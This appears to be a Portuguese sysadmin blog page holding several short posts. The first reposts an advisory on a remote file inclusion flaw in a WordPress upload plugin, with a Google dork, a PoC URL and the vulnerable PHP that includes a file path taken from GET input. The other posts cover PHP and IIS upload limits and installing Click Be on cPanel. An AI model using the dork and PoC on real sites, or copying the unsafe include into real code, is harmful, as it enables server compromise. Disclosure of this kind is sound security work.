WordPress Relocate Upload Plugin 0.14 Remote File Inclusion

Standard


# Exploit Title: Relocate Upload WordPress plugin RFI
# Google Dork: inurl:wp-content/plugins/relocate-upload
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/relocate-upload/download/
# Version: 0.14 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/relocate-upload/relocate-upload.php?ru_folder=asdf&abspath=RFI

---
Vulnerable Code
---
// Move folder request handled when called by GET AJAX
if (isset($_GET['ru_folder']))
{ // WP setup and function access
define('WP_USE_THEMES', false);
require_once(urldecode($_GET['abspath']).'/wp-load.php'); // save us looking for it, it's passed as a GET parameter

Fonte: http://www.exploit-db.com/exploits/17869/

post_max_size uma informação a mais na hora de aumentar o UPLOAD no php.ini

Standard


Olá ALL,
As vezes erramos quando somente aumentamos diretivas do PHP visando upload, tais como:

max_execution_time,
upload_max_filesize,
e até mempory_limit.

Elas até que estão corretas, assim como max_execution_time, só que os forms que enviam dados (refiro-me a arquivos), fazem envio de arquivos pelo método post.
Sendo assim, se quisermos um upload de 96M em um servidor rodando php precisamos colocar no php.ini a informação de qual o tamanho máximo de envio de dados pelo POST.
A saída então seria:

post_max_size = 96M

Isto dentro do PHP.INI.

Pronto, após ajustes o apache deverá ser reiniciado.

Abraços galera!

Como instalar o CLICK BE, How to install click be no CPANEL/WHM

Standard

Abaixo ensino como instalar o clickbe em um ambiente CPANEL/WHM, siga os passos logando-se como root:

mkdir -p /var/netenberg/click_be/installer/
cd /var/netenberg/click_be/
wget http://www.netenberg.com/files/click_be/free/click_be_installer.bz2
tar -xjpf click_be_installer.bz2
cd /var/netenberg/click_be/installer/
php click_be.php status

pico /var/netenberg/click_be/settings/private_settings.ini
pico /var/netenberg/click_be/settings/public_settings.ini
cd /var/netenberg/click_be/installer
php click_be.php install

Nos arquivos INI procure deixar de acordo com seu server, ou seja, Se suexec estiver on, na linha de suexec diga On, se o Open_Basedir tiver on no server, diga On e assim por diante. Tome cuidado com maiúsculas e minúsculas (o trosso é case sensitive).

Em tese, é isto aqui:

/var/netenberg/click_be/settings/private_settings.ini
wget -> O caminho do wget (cuidado com o bug da Netenberg em cima do wget)

/var/netenberg/click_be/settings/public_settings.ini
Others -> User_Name (não mexa)
Others -> Group_Name (não mexa)
suEXEC -> Status (ajuste caso esteja ON)

—————–

Com os passos acima tudo deve ficar ok, mas abaixo complemento com mais informações:

Normal Update:
cd /var/netenberg/click_be/installer
php click_be.php update

Forced Update:
cd /var/netenberg/click_be/installer
php click_be.php update force

Run a cron job for automatic updates:
cd /var/netenberg/click_be/installer
php click_be.php cron install

Remove the cron job for automatic updates:
cd /var/netenberg/click_be/installer
php click_be.php cron uninstall

Part IV – How to install sites

cd /var/netenberg/click_be/installer
php click_be.php sites install $USER $GROUP $HOME $WWW $DOMAIN $DIRECTORY
$USER = name of the user
$GROUP = name of the group
$HOME = home directory (trailing slash is absolutely neccessary)
$WWW = www (public_html) directory (trailing slash is absolutely neccessary)
$DOMAIN = domain name
$DIRECTORY = the directory where you want to install it (optional)

Example:

Code:
cd /var/netenberg/click_be/installer
php click_be.php sites install joe joe /home/joe/ /home/joe/public_html/ joesdomain.com site/new/

This will install the site at http://joesdomain.com/site/new/

Code:
cd /var/netenberg/click_be/installer
php click_be.php sites install user user /home/user/ /var/www/html/ user.com

This will install the site at http://user.com/

If you leave the $DIRECTORY variable as empty, the site will be installed in the root (http://joesdomain.com/)

How to login?
It is simple, just use your FTP Username and Password.

Alternatively, you can create a file called demo.php inside the folder $WWW/.click_be/:
The contents of demo.php should be as follows:
<?php
$Username = ‘user’ ;
$Password = ‘pass’ ;
?>
Now you can login with “user” as your username and “pass” as your password.
A demo installation of Click Be! does not need FTP login data (and in the final version it will not send out any emails, ie Newsletter).

Part V – How to uninstall sites?

cd /var/netenberg/click_be/installer
php click_be.php sites uninstall $USER $DOMAIN $DIRECTORY
$USER = name of the user
$DIRECTORY = the directory where you had installed it

Part VI – Help Me! I still do not understand!

cd /var/netenberg/click_be/installer
php click_be.php usage

Como aumentar o UPLOAD de arquivos no IIS

Standard

Esta dica foi 100% retirada do site:

http://websecurity.wordpress.com/2007/01/27/aumentando-o-limite-de-upload-do-iis/

Somente fiz 1 coisa simples, vou destacar a forma de parar o iis para poder alterar o arquivo XML.
Para parar o iis abra o arquivo C:\windows\system32\inetsvr OU abra as tarefas administrativas e escolha o Gestor do IIS, dentro dele ordene que o IIS para (somente os serviços de internet do iis).

Fazendo isto siga os passos:

Por padrão, o IIS permite upload de apenas 200kb via http por arquivo através das suas páginas. Para aumentar este limite, pare o IIS e edite o arquivo C:\windows\system32\inetsvr and edit metabase.xml.

O valor padrão setado para AspMaxRequestEntityAllowed é de 204800 (200kb). Para permitir upload de arquivos maiores, aumente este valor. Para aumentar para 2 megas, coloque 2048000.

Obs: Caso tente parar via Gestor do Plesk você não conseguirá arrumar este problema pois algumas instâncias ainda estarão executando a base de dados em XML.
Abraços.